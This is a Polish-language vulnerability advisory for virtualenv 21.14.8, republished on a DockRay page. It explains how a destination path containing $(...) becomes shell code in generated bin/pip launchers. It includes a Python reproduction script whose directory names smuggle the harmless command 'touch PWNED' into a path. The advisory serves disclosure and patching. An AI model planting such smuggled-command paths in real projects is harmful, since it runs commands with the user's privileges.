virtualenv: Generowane skrypty startowe konsoli POSIX interpretują ścieżki docelowe jako składnię powłoki
Podsumowanie
Ścieżka docelowa przekazana do virtualenv może zostać zinterpretowana jako składnia powłoki przez wygenerowany skrypt startowy konsoli POSIX. Moduł app-data seeder oraz pip delegują generowanie plików startowych do distlib, lecz przekazują ścieżkę interpretera w postaci, która nie zachowuje jej jako danych dosłownych (literalnych) w wrapperze powłoki.
Obszar podatny
Skrypty konsolowe POSIX generowane przez app-data seeder lub pip, gdy ścieżka interpretera wymaga wrappera powłoki. Pliki wykonywalne startowe w systemie Windows nie są podatne tą ścieżką.
Dane wejściowe kontrolowane przez atakującego
Atakujący musi mieć wpływ na ścieżkę docelową środowiska przekazywaną do virtualenv, a użytkownik musi następnie uruchomić wygenerowany skrypt startowy. Atakujący nie musi modyfikować zainstalowanego pliku wykonywalnego ani kontrolować pamięci podręcznej app-data użytkownika.
Podatny kod
Odpowiedni kod źródłowy 21.14.8 znajduje się w ScriptMakerCustom..
Mechanizm
App-data seeder przekazuje ścieżkę interpretera środowiska poprzez enquote_executable() do ScriptMaker z biblioteki distlib. Dodaje cudzysłowy w przypadku ścieżki ze spacją, lecz nie ucieka rozwinięć powłoki (shell expansions) wewnątrz tych cudzysłowów. Gdy ścieżka zawiera spację lub linia shebang przekracza 127 bajtów, distlib generuje wrapper #!/bin/sh z wierszem w postaci '''exec' "<path>" "$0" "$@". Powłoka dokonuje rozwinięcia $(...) oraz grawisów (backticks) w tej ścieżce w momencie uruchomienia skryptu startowego. Ten sam wrapper musi być również poprawnie parsowany jako Python, co stwarza dodatkowe przypadki dla cudzysłowów i ukośników odwrotnych. Samo tworzenie oraz aktywacja środowiska nie wyzwalają ładunku powłoki.
Odtworzenie i dowody
Skaner utworzył trzy środowiska: kontrolne pod my -touch PWNED- project, drugie pod my $(touch PWNED) project oraz trzecie pod ścieżką dłuższą niż 127 bajtów zakończoną ciągiem $(touch${IFS}PWNED). Każde z nich zostało utworzone bez wygenerowania PWNED. Uruchomienie wygenerowanego bin/pip --version utworzyło PWNED w obu przypadkach ataku; środowisko kontrolne nie utworzyło żadnego. Przypadek długiej ścieżki trafił do wrappera powłoki bez użycia spacji. Potwierdza to wykonanie przez wygenerowany skrypt startowy z uprawnieniami użytkownika, a nie w trakcie seedingu.
Raport datuje integrację starterów distlib w app-data seederze na #1579, wydaną po raz pierwszy w 20.0.2. PR #3417 cytuje surową ścieżkę interpretera dla wrappera POSIX i naprawia skrypty zapisane przez pip seedera. Własna biblioteka distlib w pip może ponownie zapisać podatny wrapper podczas późniejszej instalacji lub aktualizacji pakietu przez pip; proponowana poprawka virtualenv nie modyfikuje kodu dołączonego do pip (vendored). Przegląd uzupełniający dostarczony przez opiekuna projektu opisuje tę późniejszą ścieżkę oddzielnie.
Sekwencja ataku
sequenceDiagram
participant A as Destination supplier
participant V as virtualenv seeder
participant D as distlib ScriptMaker
participant S as Generated bin/pip
participant U as User
A->>V: path contains $(touch PWNED)
V->>D: pass interpreter path with incomplete shell quoting
D->>S: write /bin/sh wrapper
Note over V,S: no payload runs during creation or activation
U->>S: pip --version
S->>S: shell expands path and runs touch
S-->>U: PWNED appears with user's privileges
Pliki odtwarzające błąd
Poniższe pliki pochodzą z raportu skanera dla ANT-2026-5DZVLGL1. Zostały przetestowane względem commita a857a7823c73 w obrazie skanera. Punkt wejścia repro oczekuje plików towarzyszących w /tmp/repro.d; przypadki zmieniające identyfikatory użytkowników wymagają kontenera z dostępem do uprawnień root. Ostatnią linią wyjścia jest BUG, gdy zgłoszone zachowanie występuje. Pliki te są dołączone jako dowód i nie były ponownie uruchamiane na potrzeby tej aktualizacji.
repro
#!/usr/bin/env python3
import shutil
import subprocess
from pathlib import Path
WORK = Path("/tmp/repro-console-script")
# The attacker's whole input: the name of a directory above the environment (a repository, a project folder).
DIRECTORY_NAMES = {
"CONTROL": "my -touch PWNED- project",
"OBSERVED": "my $(touch PWNED) project",
# no space: distlib also picks the /bin/sh launcher once "#!<dest>/bin/python" is longer than 127 bytes
"OBSERVED_LONG": "p" * 120 + "$(touch${IFS}PWNED)",
}
shutil.rmtree(WORK, ignore_errors=True)
pip_printed = {}
created_by_pip = {}
for label, name in DIRECTORY_NAMES.items():
# the payload can hold no "/", so it touches a relative PWNED: each case gets its own empty working directory
cwd = WORK / label / "cwd"
venv = WORK / label / name / "venv"
cwd.mkdir(parents=True)
# set up: the user creates an environment there with default options (--no-periodic-update keeps it offline)
subprocess.run(["virtualenv", "--quiet", "--no-periodic-update", str(venv)], cwd=cwd, check=True)
assert list(cwd.iterdir()) == [], "environment creation must not have created anything"
# trigger: the user runs the seeded pip; argv is a list, so the only shell that reads the name is bin/pip's own
pip = subprocess.run([venv / "bin" / "pip", "--version"], cwd=cwd, capture_output=True, text=True)
pip_printed[label] = pip.stdout
created_by_pip[label] = sorted(p.name for p in cwd.iterdir())
launcher = (venv / "bin" / "pip").read_text().splitlines()
print(f"{label}: directory name {name!r}")
print(f" bin/pip line 1: {launcher[0]}")
print(f" bin/pip line 2: {launcher[1]}")
print(f" bin/pip --version printed: {(pip.stdout + pip.stderr).strip()}")
print(f" files bin/pip created in the working directory: {created_by_pip[label]}")
# check: a directory name is data; starting pip must run pip and nothing else
control_ok = pip_printed["CONTROL"].startswith("pip ") and created_by_pip["CONTROL"] == []
attack_ran = created_by_pip["OBSERVED"] == ["PWNED"] and created_by_pip["OBSERVED_LONG"] == ["PWNED"]
print("BUG" if control_ok and attack_ran else "OK")
Zakres poprawki i pozostałe ryzyko
PR #3417 zmienia sposób generowania skryptów startowych przez app-data seeder i naprawia wrappery powłoki POSIX po seedingu przez pip. Naprawa w pip seederze wykorzystuje tę samą regułę cytowania i aktualizuje skróty oraz rozmiary w zainstalowanym pliku RECORD. Nie modyfikuje biblioteki distlib dostarczanej wewnątrz pip.
Późniejsza niezależna instalacja lub aktualizacja za pomocą pip może zastąpić poprawiony skrypt startowy wersją podatną. Istniejące skrypty startowe nie są naprawiane przez samą aktualizację virtualenv. Należy ponownie utworzyć środowiska za pomocą poprawionej wersji virtualenv, aby wygenerować je na nowo, oraz stosować zaufane ścieżki docelowe. Ponowne utworzenie środowiska nie chroni skryptów startowych, które zostaną później nadpisane przez pip. Przegląd uzupełniający potwierdza odtworzenie problemu poprzez wcześniejszy seeder pip oraz po aktualizacji pip; wyniki te przypisuje się autorowi przeglądu.
Wpływ
Uruchomienie podatnego skryptu startowego może wykonać polecenia z uprawnieniami wywołującego użytkownika. Klasyfikacja: wysoka, CVSS 7.8, CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H, zgodnie z precedensem projektu dotyczącym generowanych skryptów (generated-script precedent.. Wektor zakłada dane ścieżki kontrolowane przez atakującego i użytkownika wywołującego wygenerowany skrypt. Wcześniejsze uprawnienia ofiary nie są wymagane; udane wykonanie polecenia może wpłynąć na dane i procesy użytkownika.
Testowane wersje
Opiekun projektu potwierdził walidację zgłoszonych ustaleń w wydaniu 21.14.8. Kolejny przegląd dokumentuje odtworzenie problemu na nienaprawionej gałęzi upstream/main; podatna integracja starterów oraz deklaracje zależności nie uległy zmianie od 21.14.8. Pierwsze podatne wydanie nie zostało ustalone. Naprawiono w 21.14.9.
Znane środki zaradcze
Używaj ścieżki docelowej środowiska wybranej przez zaufanego użytkownika. W przypadku starszych wydań należy unikać generowania środowisk w lokalizacjach pochodzących z niezaufanych źródeł.
Podatne wydanie
- Problem można odtworzyć w virtualenv 21.14.8.
Podziękowania
Zgłoszone przez OSS Scanner firmy Anthropic jako ANT-2026-5DZVLGL1.
Co trzeba zrobić
Zaktualizuj virtualenv do wersji 21.14.9 lub nowszej. Sama aktualizacja virtualenv nie naprawia istniejących skryptów startowych; należy ponownie utworzyć środowiska za pomocą naprawionej wersji virtualenv i upewnić się, że używane są zaufane ścieżki docelowe. Ponowne utworzenie nie chroni skryptów, które zostaną później nadpisane przez pip. Jako obejście tymczasowe należy stosować ścieżki docelowe zdefiniowane przez zaufanych użytkowników i unikać tworzenia środowisk w ścieżkach pochodzących z niezaufanych źródeł.
Czego dotyczy
Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.
| Platforma | Paczka | Podatne wersje | Poprawka w wersji |
|---|---|---|---|
| Python (PyPI) | virtualenv | < 21.14.9 | 21.14.9 |
Odnośniki
- https://github.com/pypa/virtualenv/security/advisories/GHSA-c978-59m8-c77v
- https://nvd.nist.gov/vuln/detail/CVE-2026-113722
- https://github.com/pypa/virtualenv/pull/3417
- https://github.com/pypa/virtualenv/commit/2519941bed33ee0d3ac99277f67913e439e476a9
- https://github.com/pypa/virtualenv
- https://github.com/pypa/virtualenv/releases/tag/21.14.9
- Wektor CVSS
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H- Słabość (CWE)
CWE-78- Platforma
- Python (PyPI)
- Paczka
virtualenv- Ujawniono
- 21.10.2026
- Aktualizacja
- 23.10.2026 00:13
Źródła i licencje · Redakcja lub tłumaczenie: DockRay. Zachowano prawa źródeł i obowiązujące licencje.
OSV / GitHub Advisory Database - GHSA-c978-59m8-c77v - CC BY 4.0
Historia podatności: virtualenv
Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.
- Wszystkich wpisów
- 13
- Pierwsza → ostatnia
- 12.2011 10.2026
- Bez poprawki
- 0
- Wykorzystywana w atakach
- 0
Rozkład istotności
- Wysoka 7
- Średnia 6
Ujawnienia w latach
- 2017: 0
- 2018: 0
- 2019: 0
- 2020: 0
- 2021: 0
- 2022: 0
- 2023: 0
- 2024: 1
- 2025: 0
- 2026: 11
wcześniej: 1
-
virtualenv: Generowane skrypty startowe konsoli POSIX interpretują ścieżki docelowe jako składnię powłoki ten wpis
Dowiedz się, które podatności dotyczą Twojej aplikacji
Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.